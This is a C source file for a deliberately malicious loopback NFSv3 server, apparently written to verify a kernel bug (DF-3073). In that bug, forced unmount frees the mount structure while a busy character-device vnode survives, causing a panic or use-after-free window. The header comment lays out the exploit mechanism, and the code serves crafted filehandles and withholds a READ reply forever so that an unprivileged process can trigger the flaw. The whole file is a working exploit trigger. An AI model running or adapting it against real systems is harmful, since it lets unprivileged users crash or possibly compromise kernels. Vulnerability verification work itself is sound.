/*
 * fakesrv2.c - malicious NFSv3 server for DF-3073 verification
 *              (nfs_unmount frees the nfsmount while a busy device vnode
 *               survives forced vflush -> dounmount panic / UAF window)
 *
 * Loopback-only listeners:
 *   - rpcbind (100000) UDP 111
 *       -> mountd(100005) at TCP 779, nfs(100003) at TCP 2049
 *   - mountd v3 TCP 779: NULL / MNT <any path> -> root filehandle 'A'*32
 *   - nfs v3 TCP 2049:
 *       NULL     -> empty ok reply
 *       GETATTR  -> fattr3 for fh 'A'*32 (dir), 'B'*32 (chr dev), 'C'*32 (reg)
 *       LOOKUP   -> "dev"  -> fh 'B'*32, obj attrs type NF3CHR rdev 14:2
 *                          (= /dev/null on the stock guest), dir attrs
 *                   "slow" -> fh 'C'*32, obj attrs type NF3REG size 8192
 *                   other  -> NFSERR_NOENT
 *       ACCESS   -> post_op_attr + 0x3f 0x3f
 *       FSSTAT   -> post_op_attr + 6*8 + 4 zeros
 *       FSINFO   -> post_op_attr + rtmax..dtpref=32768/32768/4096/32768/
 *                   32768/4096/8192, maxfilesize 8TB, props 0
 *       READ     -> on fh 'C'*32: WITHHOLD the reply (client thread blocks
 *                   uninterruptibly on the hard mount) and keep the
 *                   connection open.  Never reply to that READ.
 *
 * The withheld READ is what keeps an *unprivileged* holder process alive
 * through dounmount()'s SIGINT(retry 3)/SIGKILL(retry 7) kill loop, so the
 * 'B'*32 VCHR vnode still has VREFCNT>1 when vflush(mp,1,FORCECLOSE) runs.
 * vflush_scan() clears FORCECLOSE for VCHR/VBLK and counts the vnode busy
 * -> vflush returns EBUSY -> nfs_unmount() frees nmp + destroys nm_mnode
 * anyway -> dounmount() panics ("unmount: dangling vnode").
 *
 * env: VERBOSE=1 dump every request
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT_PMAP  111
#define PORT_MNTD  779
#define PORT_NFS   2049

#define PROG_PMAP  100000
#define PROG_MNTD  100005
#define PROG_NFS   100003

#define NFSPROC_GETATTR 1
#define NFSPROC_LOOKUP  3
#define NFSPROC_ACCESS  4
#define NFSPROC_READ    6
#define NFSPROC_READDIR 16
#define NFSPROC_FSSTAT  18
#define NFSPROC_FSINFO  19

#define NF3REG 1
#define NF3DIR 2
#define NF3CHR 4

#define NFS_OK     0
#define NFSERR_NOENT 2

static int verbose;

static unsigned char req[65536];
static unsigned char rep[65536];
static int rlen;

static void put32(u_int32_t v)
{
	rep[rlen++] = v >> 24; rep[rlen++] = v >> 16;
	rep[rlen++] = v >> 8;  rep[rlen++] = v;
}
static void put64(u_int64_t v)
{
	put32((u_int32_t)(v >> 32)); put32((u_int32_t)v);
}
static void putbytes(const void *p, int n)
{
	memcpy(rep + rlen, p, n); rlen += n;
}
static void pad4(int n) { while (n & 3) { rep[rlen++] = 0; n++; } }
static void putstr(const char *s)
{
	int n = strlen(s);
	put32(n); putbytes(s, n); pad4(n);
}
static u_int32_t get32(const unsigned char *p)
{
	return ((u_int32_t)p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3];
}

static unsigned char fh_root[32];	/* 'A'*32 root dir    */
static unsigned char fh_dev[32];	/* 'B'*32 chr device  */
static unsigned char fh_slow[32];	/* 'C'*32 reg file    */

struct call {
	u_int32_t xid, prog, vers, proc;
	const unsigned char *args;
	int alen;
};

static int parse_call(int len, struct call *c)
{
	const unsigned char *p = req;
	u_int32_t mtype, credlen, verflen;
	int off;

	if (len < 28)
		return -1;
	c->xid   = get32(p + 0);
	mtype    = get32(p + 4);
	if (mtype != 0)
		return -1;
	c->prog  = get32(p + 12);
	c->vers  = get32(p + 16);
	c->proc  = get32(p + 20);
	off = 24;
	if (off + 8 > len) return -1;
	credlen = get32(p + off + 4);
	off += 8 + ((credlen + 3) & ~3);
	if (off + 8 > len) return -1;
	verflen = get32(p + off + 4);
	off += 8 + ((verflen + 3) & ~3);
	if (off > len) return -1;
	c->args = p + off;
	c->alen = len - off;
	return 0;
}

static void reply_hdr(u_int32_t xid)
{
	rlen = 0;
	put32(xid);
	put32(1);		/* REPLY */
	put32(0);		/* MSG_ACCEPTED */
	put32(0); put32(0);	/* verifier NULL */
	put32(0);		/* accept_stat = SUCCESS */
}

/* send rep[0..rlen) as one SunRPC record (TCP framing) */
static int send_record(int s)
{
	u_int32_t mark = htonl(0x80000000u | (u_int32_t)rlen);
	unsigned char *buf = malloc(4 + rlen);
	int n;

	/* NB: write the htonl'd u32 as raw memory (correct BE byte order) */
	memcpy(buf, &mark, 4);
	if (verbose) {
		int i;
		fprintf(stderr, "REPLY %d bytes mark=%02x%02x%02x%02x:", 4 + rlen,
			buf[0], buf[1], buf[2], buf[3]);
		for (i = 0; i < rlen && i < 40; i++)
			fprintf(stderr, " %02x", rep[i]);
		fprintf(stderr, "\n");
	}
	memcpy(buf + 4, rep, rlen);
	n = write(s, buf, 4 + rlen);
	free(buf);
	return n;
}

/* fattr3 (84 bytes), matching struct nfs_fattr fa_nfsv3 layout */
static void put_fattr(int type, u_int32_t mode, u_int64_t size,
		      u_int32_t rdevmaj, u_int32_t rdevmin, u_int64_t fileid)
{
	put32(type);
	put32(mode);
	put32(1);			/* nlink */
	put32(0);			/* uid */
	put32(0);			/* gid */
	put64(size);			/* size */
	put64(size ? size : 512);	/* used */
	put32(rdevmaj);			/* rdev specdata1 */
	put32(rdevmin);			/* rdev specdata2 */
	put64(17);			/* fsid */
	put64(fileid);			/* fileid */
	put32(0); put32(0);		/* atime */
	put32(0); put32(0);		/* mtime */
	put32(0); put32(0);		/* ctime */
}

static void put_postop_dir(void)
{
	put32(1);			/* attributes follow */
	put_fattr(NF3DIR, 0040755, 512, 0, 0, 2);
}

/* which filehandle is this request about?  returns 0 root, 1 dev, 2 slow */
static int which_fh(const unsigned char *args, int alen)
{
	u_int32_t fhlen;
	if (alen < 4)
		return -1;
	fhlen = get32(args);
	if (fhlen != 32 || alen < 4 + 32)
		return -1;
	if (memcmp(args + 4, fh_root, 32) == 0) return 0;
	if (memcmp(args + 4, fh_dev, 32) == 0)  return 1;
	if (memcmp(args + 4, fh_slow, 32) == 0) return 2;
	return -1;
}

/* ------------------------------------------------------------------ */
/* per-connection state: buffered record reassembly                   */
/* ------------------------------------------------------------------ */
struct conn {
	int fd;
	int is_nfs;
	int is_mntd;
	int need;
	int len;
	unsigned char buf[65536];
};

#define MAXCONN 16
static struct conn conns[MAXCONN];

static struct conn *conn_new(int fd)
{
	for (int i = 0; i < MAXCONN; i++) {
		if (conns[i].fd < 0) {
			memset(&conns[i], 0, sizeof(conns[i]));
			conns[i].fd = fd;
			return &conns[i];
		}
	}
	return NULL;
}
static struct conn *conn_find(int fd)
{
	for (int i = 0; i < MAXCONN; i++)
		if (conns[i].fd == fd)
			return &conns[i];
	return NULL;
}
static void conn_close(struct conn *c)
{
	close(c->fd);
	c->fd = -1;
}

/* ------------------------------------------------------------------ */
static void handle_pmap_udp(int s)
{
	struct sockaddr_in from;
	socklen_t flen = sizeof(from);
	struct call c;
	int n = recvfrom(s, req, sizeof(req), 0,
			 (struct sockaddr *)&from, &flen);
	u_int32_t prog, port = 0;

	if (n <= 0)
		return;
	if (parse_call(n, &c) < 0)
		return;
	if (c.vers == 2 && c.proc == 3) {		/* PMAPPROC_GETPORT */
		prog = get32(c.args + 0);
		port = (prog == PROG_MNTD) ? PORT_MNTD :
		       (prog == PROG_NFS)  ? PORT_NFS  : 0;
		reply_hdr(c.xid);
		put32(port);
	} else if ((c.vers == 3 || c.vers == 4) && c.proc == 3) {
		prog = get32(c.args + 0);
		reply_hdr(c.xid);
		if (prog == PROG_MNTD)
			putstr("127.0.0.1.3.11");	/* 3*256+11 = 779 */
		else if (prog == PROG_NFS)
			putstr("127.0.0.1.8.1");		/* 8*256+1  = 2049 */
		else
			putstr("");
	} else {
		reply_hdr(c.xid);
	}
	sendto(s, rep, rlen, 0, (struct sockaddr *)&from, sizeof(from));
	if (verbose) fprintf(stderr, "pmap v%u p%u -> %u bytes\n",
			     c.vers, c.proc, rlen);
}

static void hexdump(const char *tag, const unsigned char *p, int n)
{
	int i;
	fprintf(stderr, "%s (%d):", tag, n);
	for (i = 0; i < n && i < 48; i++)
		fprintf(stderr, " %02x", p[i]);
	fprintf(stderr, "\n");
}

/*
 * One complete NFS RPC call record arrived in req[0..n).
 */
static void handle_nfs_call(struct conn *c, int n)
{
	struct call call;
	const unsigned char *args;
	u_int32_t fhlen, namelen;
	char name[64];
	int fhid;

	if (parse_call(n, &call) < 0)
		return;
	if (verbose) {
		fprintf(stderr, "nfs: proc %u len %d\n", call.proc, n);
		hexdump("CALL", req, n);
	}

	if (call.proc == 0) {			/* NULL */
		reply_hdr(call.xid);
		send_record(c->fd);
		return;
	}

	switch (call.proc) {
	case NFSPROC_GETATTR:
		fhid = which_fh(call.args, call.alen);
		reply_hdr(call.xid);
		put32(NFS_OK);
		if (fhid == 1)
			put_fattr(NF3CHR, 0020666, 0, 14, 2, 3);
		else if (fhid == 2)
			put_fattr(NF3REG, 0100444, 8192, 0, 0, 4);
		else
			put_fattr(NF3DIR, 0040755, 512, 0, 0, 2);
		send_record(c->fd);
		return;

	case NFSPROC_LOOKUP:
		/* args: [dirlen][dirfh][namelen][name] */
		args = call.args;
		if (call.alen < 4 + 32 + 4)
			goto noent;
		fhlen = get32(args);
		if (fhlen != 32)
			goto noent;
		args += 4 + 32;
		namelen = get32(args);
		args += 4;
		if (namelen >= sizeof(name) || 4 + namelen > call.alen)
			goto noent;
		memcpy(name, args, namelen);
		name[namelen] = 0;
		if (verbose) fprintf(stderr, "lookup '%s'\n", name);
		if (strcmp(name, "dev") == 0) {
			reply_hdr(call.xid);
			put32(NFS_OK);
			put32(32); putbytes(fh_dev, 32);
			put32(1); put_fattr(NF3CHR, 0020666, 0, 14, 2, 3);
			put_postop_dir();
			send_record(c->fd);
			return;
		}
		if (strcmp(name, "slow") == 0) {
			reply_hdr(call.xid);
			put32(NFS_OK);
			put32(32); putbytes(fh_slow, 32);
			put32(1); put_fattr(NF3REG, 0100444, 8192, 0, 0, 4);
			put_postop_dir();
			send_record(c->fd);
			return;
		}
		goto noent;

	case NFSPROC_ACCESS:
		reply_hdr(call.xid);
		put32(NFS_OK);
		put_postop_dir();
		put32(0x3f);		/* supported/access (client reads 1st) */
		put32(0x3f);
		send_record(c->fd);
		return;

	case NFSPROC_FSSTAT:
		reply_hdr(call.xid);
		put32(NFS_OK);
		put_postop_dir();
		put64(1 << 20); put64(1 << 19); put64(1 << 18);
		put64(1024);    put64(1000);    put64(900);
		put32(0);
		send_record(c->fd);
		return;

	case NFSPROC_FSINFO:
		reply_hdr(call.xid);
		put32(NFS_OK);
		put_postop_dir();
		put32(32768);	/* rtmax  */
		put32(32768);	/* rtpref */
		put32(4096);	/* rtmult */
		put32(32768);	/* wtmax  */
		put32(32768);	/* wtpref */
		put32(4096);	/* wtmult */
		put32(8192);	/* dtpref */
		put64(1ULL << 43);	/* maxfilesize */
		put32(0); put32(1);	/* time delta */
		put32(0);		/* properties */
		send_record(c->fd);
		return;

	case NFSPROC_READ:
		fhid = which_fh(call.args, call.alen);
		if (fhid == 2) {
			/* WITHHOLD: never reply. Holder thread blocks in a
			 * hard-mount nfs_request tsleep (uninterruptible). */
			if (verbose)
				fprintf(stderr, "READ on 'slow': "
					"withholding reply forever\n");
			return;
		}
		reply_hdr(call.xid);
		put32(NFS_OK);
		put_postop_dir();
		put32(0);		/* count */
		put32(1);		/* eof */
		put32(0);		/* data (empty) */
		send_record(c->fd);
		return;

	case NFSPROC_READDIR:		/* empty directory, eof */
	case 17:			/* READDIRPLUS */
		reply_hdr(call.xid);
		put32(NFS_OK);
		put_postop_dir();
		put64(0);		/* cookieverf */
		put32(0);		/* no entries */
		put32(1);		/* eof TRUE */
		send_record(c->fd);
		return;

	default:
		if (verbose)
			fprintf(stderr, "nfs proc %u: empty ok reply\n",
				call.proc);
		reply_hdr(call.xid);
		put32(NFS_OK);
		send_record(c->fd);
		return;
	}
noent:
	reply_hdr(call.xid);
	put32(NFSERR_NOENT);
	send_record(c->fd);
}

static void handle_mntd_call(struct conn *c, int n)
{
	struct call call;

	if (parse_call(n, &call) < 0)
		return;
	if (call.proc == 0) {
		reply_hdr(call.xid);
	} else if (call.proc == 1) {			/* MNT */
		reply_hdr(call.xid);
		put32(0);				/* status ok */
		put32(32); putbytes(fh_root, 32);	/* root filehandle */
		put32(1); put32(1);			/* flavors AUTH_SYS */
	} else {
		reply_hdr(call.xid);
	}
	send_record(c->fd);
}

/* feed raw tcp bytes into record reassembly */
static void handle_tcp_data(struct conn *c)
{
	u_int32_t mark;
	int take, n;

	for (;;) {
		if (c->need == 0) {
			if (c->len < 4)
				return;
			mark = get32(c->buf);
			c->need = mark & 0x7fffffffu;
			memmove(c->buf, c->buf + 4, c->len - 4);
			c->len -= 4;
			if (c->need > 65536) {
				if (verbose)
					fprintf(stderr, "huge mark %u\n",
						c->need);
				conn_close(c);
				return;
			}
			continue;
		}
		if (c->len >= c->need) {
			take = c->need;
			n = c->need;
			if (n > (int)sizeof(req))
				n = sizeof(req);
			memcpy(req, c->buf, n);
			c->need = 0;
			memmove(c->buf, c->buf + take, c->len - take);
			c->len -= take;
			if (c->is_mntd)
				handle_mntd_call(c, n);
			else
				handle_nfs_call(c, n);
			if (c->fd < 0)
				return;
			continue;
		}
		return;		/* need more bytes */
	}
}

int
main(void)
{
	int udp_pmap, tcp_mntd, tcp_nfs;
	struct sockaddr_in sin;
	int one = 1;
	fd_set rfds;
	int maxfd, i, s;
	struct conn *c;

	verbose = getenv("VERBOSE") != NULL;
	memset(fh_root, 'A', sizeof(fh_root));
	memset(fh_dev,  'B', sizeof(fh_dev));
	memset(fh_slow, 'C', sizeof(fh_slow));
	for (i = 0; i < MAXCONN; i++)
		conns[i].fd = -1;

	udp_pmap = socket(AF_INET, SOCK_DGRAM, 0);
	tcp_mntd = socket(AF_INET, SOCK_STREAM, 0);
	tcp_nfs  = socket(AF_INET, SOCK_STREAM, 0);
	setsockopt(tcp_mntd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	setsockopt(tcp_nfs,  SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

	sin.sin_port = htons(PORT_PMAP);
	if (bind(udp_pmap, (struct sockaddr *)&sin, sizeof(sin)) < 0)
		{ perror("bind pmap"); exit(1); }
	sin.sin_port = htons(PORT_MNTD);
	if (bind(tcp_mntd, (struct sockaddr *)&sin, sizeof(sin)) < 0 ||
	    listen(tcp_mntd, 8) < 0)
		{ perror("bind/listen mntd"); exit(1); }
	sin.sin_port = htons(PORT_NFS);
	if (bind(tcp_nfs, (struct sockaddr *)&sin, sizeof(sin)) < 0 ||
	    listen(tcp_nfs, 8) < 0)
		{ perror("bind/listen nfs"); exit(1); }

	fprintf(stderr, "fakesrv2: pmap/udp %d mntd/tcp %d nfs/tcp %d\n",
		PORT_PMAP, PORT_MNTD, PORT_NFS);

	for (;;) {
		FD_ZERO(&rfds);
		maxfd = -1;
		FD_SET(udp_pmap, &rfds); maxfd = udp_pmap > maxfd ? udp_pmap : maxfd;
		FD_SET(tcp_mntd, &rfds); maxfd = tcp_mntd > maxfd ? tcp_mntd : maxfd;
		FD_SET(tcp_nfs, &rfds);  maxfd = tcp_nfs  > maxfd ? tcp_nfs  : maxfd;
		for (i = 0; i < MAXCONN; i++)
			if (conns[i].fd >= 0) {
				FD_SET(conns[i].fd, &rfds);
				if (conns[i].fd > maxfd)
					maxfd = conns[i].fd;
			}
		if (select(maxfd + 1, &rfds, NULL, NULL, NULL) < 0) {
			if (errno == EINTR)
				continue;
			perror("select");
			exit(1);
		}
		if (FD_ISSET(udp_pmap, &rfds))
			handle_pmap_udp(udp_pmap);
		if (FD_ISSET(tcp_mntd, &rfds)) {
			s = accept(tcp_mntd, NULL, NULL);
			if (s >= 0 && (c = conn_new(s)) != NULL)
				c->is_mntd = 1;
			else if (s >= 0)
				close(s);
		}
		if (FD_ISSET(tcp_nfs, &rfds)) {
			s = accept(tcp_nfs, NULL, NULL);
			if (s >= 0 && (c = conn_new(s)) != NULL)
				c->is_nfs = 1;
			else if (s >= 0)
				close(s);
		}
		for (i = 0; i < MAXCONN; i++) {
			if (conns[i].fd < 0)
				continue;
			if (!FD_ISSET(conns[i].fd, &rfds))
				continue;
			c = &conns[i];
			{
				int got = read(c->fd, c->buf + c->len,
					       sizeof(c->buf) - c->len);
				if (got <= 0) {
					if (verbose)
						fprintf(stderr, "conn eof\n");
					conn_close(c);
					continue;
				}
				c->len += got;
				handle_tcp_data(c);
			}
		}
	}
}